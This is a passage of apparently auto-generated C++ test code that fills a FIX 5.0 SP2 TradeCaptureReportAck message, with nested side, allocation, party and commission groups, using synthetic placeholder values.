set_field(noSideTrdRegTS_0_1_1, FIX::SideTrdRegTimestampSrc{\"STRING_1199576830\"}, SideTrdRegTS_NoSideTrdRegTS_3);\n      set_field(noSideTrdRegTS_0_1_1, FIX::SideTrdRegTimestampType{1476018832}, SideTrdRegTS_NoSideTrdRegTS_3);\n      all_values.push_back(SideTrdRegTS_NoSideTrdRegTS_3);\n      all_compo_names.insert(\"...NoSides...NoSideTrdRegTS\");\n\n      noSides_0_0.addGroup(noSideTrdRegTS_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoSideTrdRegTS noSideTrdRegTS_0_1_2;\n      // SideTrdRegTS.NoSideTrdRegTS\n      multiset<string> SideTrdRegTS_NoSideTrdRegTS_4;\n      set_field(noSideTrdRegTS_0_1_2, FIX::SideTrdRegTimestamp{FIX::UTCTIMESTAMP(14, 38, 0, 8, 4, 2007)}, SideTrdRegTS_NoSideTrdRegTS_4);\n      set_field(noSideTrdRegTS_0_1_2, FIX::SideTrdRegTimestampSrc{\"STRING_718007100\"}, SideTrdRegTS_NoSideTrdRegTS_4);\n      set_field(noSideTrdRegTS_0_1_2, FIX::SideTrdRegTimestampType{285928009}, SideTrdRegTS_NoSideTrdRegTS_4);\n      all_values.push_back(SideTrdRegTS_NoSideTrdRegTS_4);\n      all_compo_names.insert(\"...NoSides...NoSideTrdRegTS\");\n\n      noSides_0_0.addGroup(noSideTrdRegTS_0_1_2);\n    }\n    // Stipulations\n    // Group Stipulations.NoStipulations\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoStipulations noStipulations_0_1_0;\n      // Stipulations.NoStipulations\n      multiset<string> Stipulations_NoStipulations_72;\n      set_field(noStipulations_0_1_0, FIX::StipulationType{\"STRING_POOL\"}, Stipulations_NoStipulations_72);\n      set_field(noStipulations_0_1_0, FIX::StipulationValue{\"STRING_311576187\"}, Stipulations_NoStipulations_72);\n      all_values.push_back(Stipulations_NoStipulations_72);\n      all_compo_names.insert(\"...NoSides...NoStipulations\");\n\n      noSides_0_0.addGroup(noStipulations_0_1_0);\n    }\n    // TradeReportOrderDetail\n    multiset<string> TradeReportOrderDetail_2;\n    set_field(noSides_0_0, FIX::BookingType{0}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::ClOrdID{\"STRING_62611045\"}, TradeReportOrderDetail_2);\n    FIX::CumQty CumQty_5;\n    CumQty_5.setString(\"1193891\");\nset_field(noSides_0_0, CumQty_5, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::ExecInst{\"MULTIPLECHARVALUE_o\"}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::ExpireTime{FIX::UTCTIMESTAMP(22, 53, 51, 17, 3, 2014)}, TradeReportOrderDetail_2);\n    FIX::LeavesQty LeavesQty_4;\n    LeavesQty_4.setString(\"2693626\");\nset_field(noSides_0_0, LeavesQty_4, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::ListID{\"STRING_443293553\"}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::LotType{'2'}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::OrdStatus{'A'}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::OrdType{'4'}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::OrderCapacity{'P'}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::OrderID{\"STRING_2076085895\"}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::OrderInputDevice{\"STRING_2146532923\"}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::OrderRestrictions{\"MULTIPLECHARVALUE_6\"}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::OrigCustOrderCapacity{2}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::OrigOrdModTime{FIX::UTCTIMESTAMP(9, 25, 44, 2, 6, 2010)}, TradeReportOrderDetail_2);\n    FIX::Price Price_27;\n    Price_27.setString(\"20750490\");\nset_field(noSides_0_0, Price_27, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::RefOrdIDReason{1}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::RefOrderID{\"STRING_768069841\"}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::RefOrderIDSource{'4'}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::SecondaryClOrdID{\"STRING_496085756\"}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::SecondaryOrderID{\"STRING_887458964\"}, TradeReportOrderDetail_2);\n    FIX::StopPx StopPx_11;\n    StopPx_11.setString(\"7079397\");\nset_field(noSides_0_0, StopPx_11, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::TimeInForce{'6'}, TradeReportOrderDetail_2);\n    set_field(noSides_0_0, FIX::TransBkdTime{FIX::UTCTIMESTAMP(18, 30, 19, 4, 9, 2000)}, TradeReportOrderDetail_2);\n    all_values.push_back(TradeReportOrderDetail_2);\n    all_compo_names.insert(\"...NoSides.\");\n\n    // DisplayInstruction\n    multiset<string> DisplayInstruction_11;\n    FIX::DisplayHighQty DisplayHighQty_11;\n    DisplayHighQty_11.setString(\"20989762\");\nset_field(noSides_0_0, DisplayHighQty_11, DisplayInstruction_11);\n    FIX::DisplayLowQty DisplayLowQty_11;\n    DisplayLowQty_11.setString(\"5023188\");\nset_field(noSides_0_0, DisplayLowQty_11, DisplayInstruction_11);\n    set_field(noSides_0_0, FIX::DisplayMethod{'3'}, DisplayInstruction_11);\n    FIX::DisplayMinIncr DisplayMinIncr_11;\n    DisplayMinIncr_11.setString(\"6220067\");\nset_field(noSides_0_0, DisplayMinIncr_11, DisplayInstruction_11);\n    FIX::DisplayQty DisplayQty_11;\n    DisplayQty_11.setString(\"2190670\");\nset_field(noSides_0_0, DisplayQty_11, DisplayInstruction_11);\n    set_field(noSides_0_0, FIX::DisplayWhen{'2'}, DisplayInstruction_11);\n    FIX::RefreshQty RefreshQty_11;\n    RefreshQty_11.setString(\"6210559\");\nset_field(noSides_0_0, RefreshQty_11, DisplayInstruction_11);\n    FIX::SecondaryDisplayQty SecondaryDisplayQty_11;\n    SecondaryDisplayQty_11.setString(\"20009869\");\nset_field(noSides_0_0, SecondaryDisplayQty_11, DisplayInstruction_11);\n    all_values.push_back(DisplayInstruction_11);\n    all_compo_names.insert(\"...NoSides..\");\n\n    // OrderQtyData\n    multiset<string> OrderQtyData_29;\n    FIX::CashOrderQty CashOrderQty_29;\n    CashOrderQty_29.setString(\"17845291\");\nset_field(noSides_0_0, CashOrderQty_29, OrderQtyData_29);\n    FIX::OrderPercent OrderPercent_29;\n    OrderPercent_29.setString(\"46.210000\");\nset_field(noSides_0_0, OrderPercent_29, OrderQtyData_29);\n    FIX::OrderQty OrderQty_38;\n    OrderQty_38.setString(\"10340110\");\nset_field(noSides_0_0, OrderQty_38, OrderQtyData_29);\n    set_field(noSides_0_0, FIX::RoundingDirection{'2'}, OrderQtyData_29);\n    FIX::RoundingModulus RoundingModulus_29;\n    RoundingModulus_29.setString(\"7785802\");\nset_field(noSides_0_0, RoundingModulus_29, OrderQtyData_29);\n    all_values.push_back(OrderQtyData_29);\n    all_compo_names.insert(\"...NoSides..\");\n\n    // TrdAllocGrp\n    // Group TrdAllocGrp.NoAllocs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs noAllocs_0_1_0;\n      // TrdAllocGrp.NoAllocs\n      multiset<string> TrdAllocGrp_NoAllocs_4;\n      set_field(noAllocs_0_1_0, FIX::AllocAccount{\"STRING_1553708690\"}, TrdAllocGrp_NoAllocs_4);\n      set_field(noAllocs_0_1_0, FIX::AllocAcctIDSource{1235073920}, TrdAllocGrp_NoAllocs_4);\n      set_field(noAllocs_0_1_0, FIX::AllocClearingFeeIndicator{\"STRING_1832248409\"}, TrdAllocGrp_NoAllocs_4);\n      set_field(noAllocs_0_1_0, FIX::AllocCustomerCapacity{\"STRING_1987183401\"}, TrdAllocGrp_NoAllocs_4);\n      set_field(noAllocs_0_1_0, FIX::AllocMethod{1}, TrdAllocGrp_NoAllocs_4);\n      FIX::AllocQty AllocQty_48;\n      AllocQty_48.setString(\"16505005\");\nset_field(noAllocs_0_1_0, AllocQty_48, TrdAllocGrp_NoAllocs_4);\n      set_field(noAllocs_0_1_0, FIX::AllocSettlCurrency{\"JPY\"}, TrdAllocGrp_NoAllocs_4);\n      set_field(noAllocs_0_1_0, FIX::IndividualAllocID{\"STRING_210956625\"}, TrdAllocGrp_NoAllocs_4);\n      set_field(noAllocs_0_1_0, FIX::SecondaryIndividualAllocID{\"STRING_1981388336\"}, TrdAllocGrp_NoAllocs_4);\n      all_values.push_back(TrdAllocGrp_NoAllocs_4);\n      all_compo_names.insert(\"...NoSides...NoAllocs\");\n\n      // NestedParties2\n      // Group NestedParties2.NoNested2PartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_0_0_2_0;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_52;\n        set_field(noNested2PartyIDs_0_0_2_0, FIX::Nested2PartyID{\"STRING_1173005452\"}, NestedParties2_NoNested2PartyIDs_52);\n        set_field(noNested2PartyIDs_0_0_2_0, FIX::Nested2PartyIDSource{'6'}, NestedParties2_NoNested2PartyIDs_52);\n        set_field(noNested2PartyIDs_0_0_2_0, FIX::Nested2PartyRole{1809236308}, NestedParties2_NoNested2PartyIDs_52);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_52);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_0_0_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_100;\n          set_field(noNested2PartySubIDs_0_0_0_3_0, FIX::Nested2PartySubID{\"STRING_394738698\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_100);\n          set_field(noNested2PartySubIDs_0_0_0_3_0, FIX::Nested2PartySubIDType{1349358032}, NstdPtys2SubGrp_NoNested2PartySubIDs_100);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_100);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_0_2_0.addGroup(noNested2PartySubIDs_0_0_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_0_0_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_101;\n          set_field(noNested2PartySubIDs_0_0_0_3_1, FIX::Nested2PartySubID{\"STRING_632697118\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_101);\n          set_field(noNested2PartySubIDs_0_0_0_3_1, FIX::Nested2PartySubIDType{897057519}, NstdPtys2SubGrp_NoNested2PartySubIDs_101);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_101);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_0_2_0.addGroup(noNested2PartySubIDs_0_0_0_3_1);\n        }\n        noAllocs_0_1_0.addGroup(noNested2PartyIDs_0_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_0_0_2_1;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_53;\n        set_field(noNested2PartyIDs_0_0_2_1, FIX::Nested2PartyID{\"STRING_1765988822\"}, NestedParties2_NoNested2PartyIDs_53);\n        set_field(noNested2PartyIDs_0_0_2_1, FIX::Nested2PartyIDSource{'1'}, NestedParties2_NoNested2PartyIDs_53);\n        set_field(noNested2PartyIDs_0_0_2_1, FIX::Nested2PartyRole{1116124543}, NestedParties2_NoNested2PartyIDs_53);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_53);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_0_1_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_102;\n          set_field(noNested2PartySubIDs_0_0_1_3_0, FIX::Nested2PartySubID{\"STRING_1875759794\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_102);\n          set_field(noNested2PartySubIDs_0_0_1_3_0, FIX::Nested2PartySubIDType{969627824}, NstdPtys2SubGrp_NoNested2PartySubIDs_102);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_102);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_0_2_1.addGroup(noNested2PartySubIDs_0_0_1_3_0);\n        }\n        noAllocs_0_1_0.addGroup(noNested2PartyIDs_0_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_0_0_2_2;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_54;\n        set_field(noNested2PartyIDs_0_0_2_2, FIX::Nested2PartyID{\"STRING_1748267407\"}, NestedParties2_NoNested2PartyIDs_54);\n        set_field(noNested2PartyIDs_0_0_2_2, FIX::Nested2PartyIDSource{'3'}, NestedParties2_NoNested2PartyIDs_54);\n        set_field(noNested2PartyIDs_0_0_2_2, FIX::Nested2PartyRole{2003638843}, NestedParties2_NoNested2PartyIDs_54);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_54);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_0_2_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_103;\n          set_field(noNested2PartySubIDs_0_0_2_3_0, FIX::Nested2PartySubID{\"STRING_1114871034\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_103);\n          set_field(noNested2PartySubIDs_0_0_2_3_0, FIX::Nested2PartySubIDType{1760838229}, NstdPtys2SubGrp_NoNested2PartySubIDs_103);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_103);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_0_2_2.addGroup(noNested2PartySubIDs_0_0_2_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_0_2_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_104;\n          set_field(noNested2PartySubIDs_0_0_2_3_1, FIX::Nested2PartySubID{\"STRING_317124193\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_104);\n          set_field(noNested2PartySubIDs_0_0_2_3_1, FIX::Nested2PartySubIDType{202461306}, NstdPtys2SubGrp_NoNested2PartySubIDs_104);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_104);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_0_2_2.addGroup(noNested2PartySubIDs_0_0_2_3_1);\n        }\n        noAllocs_0_1_0.addGroup(noNested2PartyIDs_0_0_2_2);\n      }\n      noSides_0_0.addGroup(noAllocs_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs noAllocs_0_1_1;\n      // TrdAllocGrp.NoAllocs\n      multiset<string> TrdAllocGrp_NoAllocs_5;\n      set_field(noAllocs_0_1_1, FIX::AllocAccount{\"STRING_1445602990\"}, TrdAllocGrp_NoAllocs_5);\n      set_field(noAllocs_0_1_1, FIX::AllocAcctIDSource{156823946}, TrdAllocGrp_NoAllocs_5);\n      set_field(noAllocs_0_1_1, FIX::AllocClearingFeeIndicator{\"STRING_58121419\"}, TrdAllocGrp_NoAllocs_5);\n      set_field(noAllocs_0_1_1, FIX::AllocCustomerCapacity{\"STRING_948619903\"}, TrdAllocGrp_NoAllocs_5);\n      set_field(noAllocs_0_1_1, FIX::AllocMethod{1}, TrdAllocGrp_NoAllocs_5);\n      FIX::AllocQty AllocQty_49;\n      AllocQty_49.setString(\"8012404\");\nset_field(noAllocs_0_1_1, AllocQty_49, TrdAllocGrp_NoAllocs_5);\n      set_field(noAllocs_0_1_1, FIX::AllocSettlCurrency{\"USD\"}, TrdAllocGrp_NoAllocs_5);\n      set_field(noAllocs_0_1_1, FIX::IndividualAllocID{\"STRING_1192234106\"}, TrdAllocGrp_NoAllocs_5);\n      set_field(noAllocs_0_1_1, FIX::SecondaryIndividualAllocID{\"STRING_185098332\"}, TrdAllocGrp_NoAllocs_5);\n      all_values.push_back(TrdAllocGrp_NoAllocs_5);\n      all_compo_names.insert(\"...NoSides...NoAllocs\");\n\n      // NestedParties2\n      // Group NestedParties2.NoNested2PartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_0_1_2_0;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_55;\n        set_field(noNested2PartyIDs_0_1_2_0, FIX::Nested2PartyID{\"STRING_853986766\"}, NestedParties2_NoNested2PartyIDs_55);\n        set_field(noNested2PartyIDs_0_1_2_0, FIX::Nested2PartyIDSource{'8'}, NestedParties2_NoNested2PartyIDs_55);\n        set_field(noNested2PartyIDs_0_1_2_0, FIX::Nested2PartyRole{1374796560}, NestedParties2_NoNested2PartyIDs_55);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_55);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_1_0_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_105;\n          set_field(noNested2PartySubIDs_0_1_0_3_0, FIX::Nested2PartySubID{\"STRING_1498999959\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_105);\n          set_field(noNested2PartySubIDs_0_1_0_3_0, FIX::Nested2PartySubIDType{124370431}, NstdPtys2SubGrp_NoNested2PartySubIDs_105);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_105);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_1_2_0.addGroup(noNested2PartySubIDs_0_1_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_1_0_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_106;\n          set_field(noNested2PartySubIDs_0_1_0_3_1, FIX::Nested2PartySubID{\"STRING_1821849973\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_106);\n          set_field(noNested2PartySubIDs_0_1_0_3_1, FIX::Nested2PartySubIDType{606220129}, NstdPtys2SubGrp_NoNested2PartySubIDs_106);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_106);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_0_1_2_0.addGroup(noNested2PartySubIDs_0_1_0_3_1);\n        }\n        noAllocs_0_1_1.addGroup(noNested2PartyIDs_0_1_2_0);\n      }\n      noSides_0_0.addGroup(noAllocs_0_1_1);\n    }\n    msg.addGroup(noSides_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReportAck::NoSides noSides_0_1;\n    // TrdCapRptAckSideGrp.NoSides\n    multiset<string> TrdCapRptAckSideGrp_NoSides_1;\n    set_field(noSides_0_1, FIX::Account{\"STRING_1240494974\"}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::AccountType{4}, TrdCapRptAckSideGrp_NoSides_1);\n    FIX::AccruedInterestAmt AccruedInterestAmt_13;\n    AccruedInterestAmt_13.setString(\"3344962\");\nset_field(noSides_0_1, AccruedInterestAmt_13, TrdCapRptAckSideGrp_NoSides_1);\n    FIX::AccruedInterestRate AccruedInterestRate_8;\n    AccruedInterestRate_8.setString(\"91.500000\");\nset_field(noSides_0_1, AccruedInterestRate_8, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::AcctIDSource{5}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::AggressorIndicator{true}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::AllocID{\"STRING_2066277994\"}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::ComplianceID{\"STRING_149787447\"}, TrdCapRptAckSideGrp_NoSides_1);\n    FIX::Concession Concession_8;\n    Concession_8.setString(\"17856580\");\nset_field(noSides_0_1, Concession_8, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::CustOrderCapacity{4}, TrdCapRptAckSideGrp_NoSides_1);\n    FIX::EndAccruedInterestAmt EndAccruedInterestAmt_13;\n    EndAccruedInterestAmt_13.setString(\"4669116\");\nset_field(noSides_0_1, EndAccruedInterestAmt_13, TrdCapRptAckSideGrp_NoSides_1);\n    FIX::EndCash EndCash_13;\n    EndCash_13.setString(\"19881193\");\nset_field(noSides_0_1, EndCash_13, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::ExDate{\"LOCALMKTDATE_977751917\"}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::ExchangeRule{\"STRING_623735587\"}, TrdCapRptAckSideGrp_NoSides_1);\n    FIX::InterestAtMaturity InterestAtMaturity_8;\n    InterestAtMaturity_8.setString(\"20462408\");\nset_field(noSides_0_1, InterestAtMaturity_8, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::NetGrossInd{1}, TrdCapRptAckSideGrp_NoSides_1);\n    FIX::NetMoney NetMoney_8;\n    NetMoney_8.setString(\"11163450\");\nset_field(noSides_0_1, NetMoney_8, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::NumDaysInterest{699997653}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::OddLot{false}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::OrderCategory{'5'}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::OrderDelay{1892231759}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::OrderDelayUnit{13}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::PositionEffect{'D'}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::PreallocMethod{'1'}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::ProcessCode{'3'}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::RptSeq{1650229961}, TrdCapRptAckSideGrp_NoSides_1);\n    FIX::SettlCurrAmt SettlCurrAmt_16;\n    SettlCurrAmt_16.setString(\"6545960\");\nset_field(noSides_0_1, SettlCurrAmt_16, TrdCapRptAckSideGrp_NoSides_1);\n    FIX::SettlCurrFxRate SettlCurrFxRate_16;\n    SettlCurrFxRate_16.setString(\"13413821\");\nset_field(noSides_0_1, SettlCurrFxRate_16, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SettlCurrFxRateCalc{'M'}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::Side{'1'}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideCurrency{\"USD\"}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideExecID{\"STRING_2114550537\"}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideFillStationCd{\"STRING_134614943\"}, TrdCapRptAckSideGrp_NoSides_1);\n    FIX::SideGrossTradeAmt SideGrossTradeAmt_3;\n    SideGrossTradeAmt_3.setString(\"9302508\");\nset_field(noSides_0_1, SideGrossTradeAmt_3, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideLastQty{1353438833}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideMultiLegReportingType{1}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideReasonCd{\"STRING_849045215\"}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideSettlCurrency{\"CAN\"}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideTradeReportID{\"STRING_381194142\"}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SideTrdSubTyp{1970137922}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::SolicitedFlag{false}, TrdCapRptAckSideGrp_NoSides_1);\n    FIX::StartCash StartCash_13;\n    StartCash_13.setString(\"13589460\");\nset_field(noSides_0_1, StartCash_13, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::TimeBracket{\"STRING_446389861\"}, TrdCapRptAckSideGrp_NoSides_1);\n    FIX::TotalTakedown TotalTakedown_8;\n    TotalTakedown_8.setString(\"1829693\");\nset_field(noSides_0_1, TotalTakedown_8, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::TradeAllocIndicator{4}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::TradeInputDevice{\"STRING_1562734905\"}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::TradeInputSource{\"STRING_882966961\"}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::TradingSessionID{\"STRING_2\"}, TrdCapRptAckSideGrp_NoSides_1);\n    set_field(noSides_0_1, FIX::TradingSessionSubID{\"STRING_3\"}, TrdCapRptAckSideGrp_NoSides_1);\n    all_values.push_back(TrdCapRptAckSideGrp_NoSides_1);\n    all_compo_names.insert(\"...NoSides\");\n\n    // ClrInstGrp\n    // Group ClrInstGrp.NoClearingInstructions\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoClearingInstructions noClearingInstructions_1_1_0;\n      // ClrInstGrp.NoClearingInstructions\n      multiset<string> ClrInstGrp_NoClearingInstructions_20;\n      set_field(noClearingInstructions_1_1_0, FIX::ClearingInstruction{12}, ClrInstGrp_NoClearingInstructions_20);\n      all_values.push_back(ClrInstGrp_NoClearingInstructions_20);\n      all_compo_names.insert(\"...NoSides...NoClearingInstructions\");\n\n      noSides_0_1.addGroup(noClearingInstructions_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoClearingInstructions noClearingInstructions_1_1_1;\n      // ClrInstGrp.NoClearingInstructions\n      multiset<string> ClrInstGrp_NoClearingInstructions_21;\n      set_field(noClearingInstructions_1_1_1, FIX::ClearingInstruction{8}, ClrInstGrp_NoClearingInstructions_21);\n      all_values.push_back(ClrInstGrp_NoClearingInstructions_21);\n      all_compo_names.insert(\"...NoSides...NoClearingInstructions\");\n\n      noSides_0_1.addGroup(noClearingInstructions_1_1_1);\n    }\n    // CommissionData\n    multiset<string> CommissionData_27;\n    set_field(noSides_0_1, FIX::CommCurrency{\"CHF\"}, CommissionData_27);\n    set_field(noSides_0_1, FIX::CommType{'6'}, CommissionData_27);\n    FIX::Commission Commission_30;\n    Commission_30.setString(\"18810459\");\nset_field(noSides_0_1, Commission_30, CommissionData_27);\n    set_field(noSides_0_1, FIX::FundRenewWaiv{'N'}, CommissionData_27);\n    all_values.push_back(CommissionData_27);\n    all_compo_names.insert(\"...NoSides.\");\n\n    // ContAmtGrp\n    // Group ContAmtGrp.NoContAmts\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoContAmts noContAmts_1_1_0;\n      // ContAmtGrp.NoContAmts\n      multiset<string> ContAmtGrp_NoContAmts_7;\n      set_field(noContAmts_1_1_0, FIX::ContAmtCurr{\"CHF\"}, 